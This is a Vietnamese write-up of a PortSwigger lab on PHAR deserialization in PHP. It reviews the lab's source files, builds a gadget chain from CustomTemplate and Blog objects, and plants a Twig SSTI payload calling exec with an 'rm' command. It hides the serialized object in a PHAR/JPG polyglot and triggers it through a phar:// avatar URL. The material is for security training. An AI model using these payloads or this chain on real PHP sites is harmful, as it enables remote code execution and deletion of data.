Tài liệu PHP tiết lộ rằng các tệp manifest PHAR chứa siêu dữ liệu được tuần tự hóa. Điều quan trọng là, nếu chúng ta thực hiện bất kỳ thao tác hệ thống tệp nào trên một luồng phar://, siêu dữ liệu này sẽ được giải tuần tự hóa một cách ngầm định. Điều này có nghĩa là một luồng phar:// có thể là một vector để khai thác deserialization không an toàn, miễn là chúng ta có thể truyền luồng này vào một phương thức hệ thống tệp.

Một cách tiếp cận là sử dụng chức năng tải lên hình ảnh, ví dụ. Nếu chúng ta có thể tạo một tệp polyglot, với một PHAR giả dạng một JPG đơn giản, đôi khi chúng ta có thể vượt qua các kiểm tra xác thực của trang web. Nếu sau đó chúng ta có thể buộc trang web tải “JPG” polyglot này từ một luồng phar://, bất kỳ dữ liệu có hại nào chúng ta chèn vào thông qua siêu dữ liệu PHAR sẽ được giải tuần tự hóa. Vì phần mở rộng tệp không được kiểm tra khi PHP đọc một luồng, nên không quan trọng tệp sử dụng phần mở rộng hình ảnh.

Miễn là lớp của đối tượng được trang web hỗ trợ, cả hai magic method __wakeup()__destruct() đều có thể được gọi theo cách này, cho phép chúng ta có khả năng khởi động một chuỗi gadget bằng kỹ thuật này.

Lab: Using PHAR Deserialization to Deploy a Custom Gadget Chain

Info

Hình ảnh avatar được tải từ endpoint /cgi-bin/avatar.php?avatar=wiener. Điều hướng đến /cgi-bin, có một số tệp mã nguồn.

SSTI Sink

Đầu tiên là Blog.php:

<?php
 
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
 
class Blog {
    public $user;
    public $desc;
    private $twig;
 
    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }
 
    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }
 
    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }
 
    public function __sleep() {
        return ["user", "desc"];
    }
}
 
?>

Như chúng ta có thể thấy, có một magic method tên là __wakeup() sẽ được gọi trong quá trình deserialization. Trong phương thức này, có một khai báo của một loader Twig_Loader_Array:

$loader = new Twig_Loader_Array([
	'index' => $this->desc,
]);

Nói chung, các loader chịu trách nhiệm tải các template từ một tài nguyên như hệ thống tệp. Trong bối cảnh này, nó được sử dụng để định nghĩa một template có tên là index.

Một ví dụ sử dụng loader Twig_Loader_Array:

$loader = new \Twig\Loader\ArrayLoader([
    'index.html' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
 
echo $twig->render('index.html', ['name' => 'Fabien']);

Loader này sau đó được truyền vào một đối tượng Twig_Environment, đây là đối tượng trung tâm của Twig Template Engine:

$this->twig = new Twig_Environment($loader);

Cuối cùng, template và dữ liệu sẽ được kết hợp và render thông qua phương thức render() trong một magic method khác tên là __toString():

public function __toString() {
	return $this->twig->render('index', ['user' => $this->user]);
}

Giá trị của template index dễ bị tấn công bởi lỗ hổng Server Side Template Injection (SSTI). Chúng ta sẽ chèn payload sau (tham khảo PayloadsAllTheThings/Server Side Template Injection/README.md at master · swisskyrepo/PayloadsAllTheThings (github.com):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}

Kick-off Gadget

Thứ hai là CustomTemplate.php:

<?php
 
class CustomTemplate {
    private $template_file_path;
 
    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }
 
    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }
 
    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }
 
    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }
 
    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }
 
    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}
 
?>

Có một magic method tên là __destruct(), sẽ gọi một phương thức khác tên là lockFilePath(). Phương thức lockFilePath() sẽ truy cập thuộc tính template_file_path của thể hiện hiện tại của lớp CustomTemplate. Nếu chúng ta gán thuộc tính này với một thể hiện của lớp Blog, nó sẽ kích hoạt phương thức __toString() khi lockFilePath() cố gắng lấy thuộc tính template_file_path.

Build the Malicious Serialized Object

Tiếp theo, chúng ta xây dựng một đối tượng được tuần tự hóa độc hại như sau:

class CustomTemplate {}
class Blog {}
 
$ssti_payload = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog = new Blog;
$blog->desc = $ssti_payload;
$blog->user = 'user';
$object = new CustomTemplate;
$object->template_file_path = $blog;

Make a PHAR + JPG Polyglot

Sử dụng công cụ kunte0/phar-jpg-polyglot để tạo một hình ảnh JPG với một tệp PHAR được nhúng chứa đối tượng được tuần tự hóa độc hại:

php -c php.ini phar_jpg_polyglot.php 
string(215) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:4:"user";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";}}"

Tải lên hình ảnh đầu ra.

Trigger PHAR Deserialization

Truy cập endpoint /cgi-bin/avatar.php?avatar=phar://wiener (chú ý tiền tố phar://) để kích hoạt PHAR deserialization và thực thi payload.

list
from outgoing([[Port Swigger - PHAR Deserialization]])
sort file.ctime asc

Resources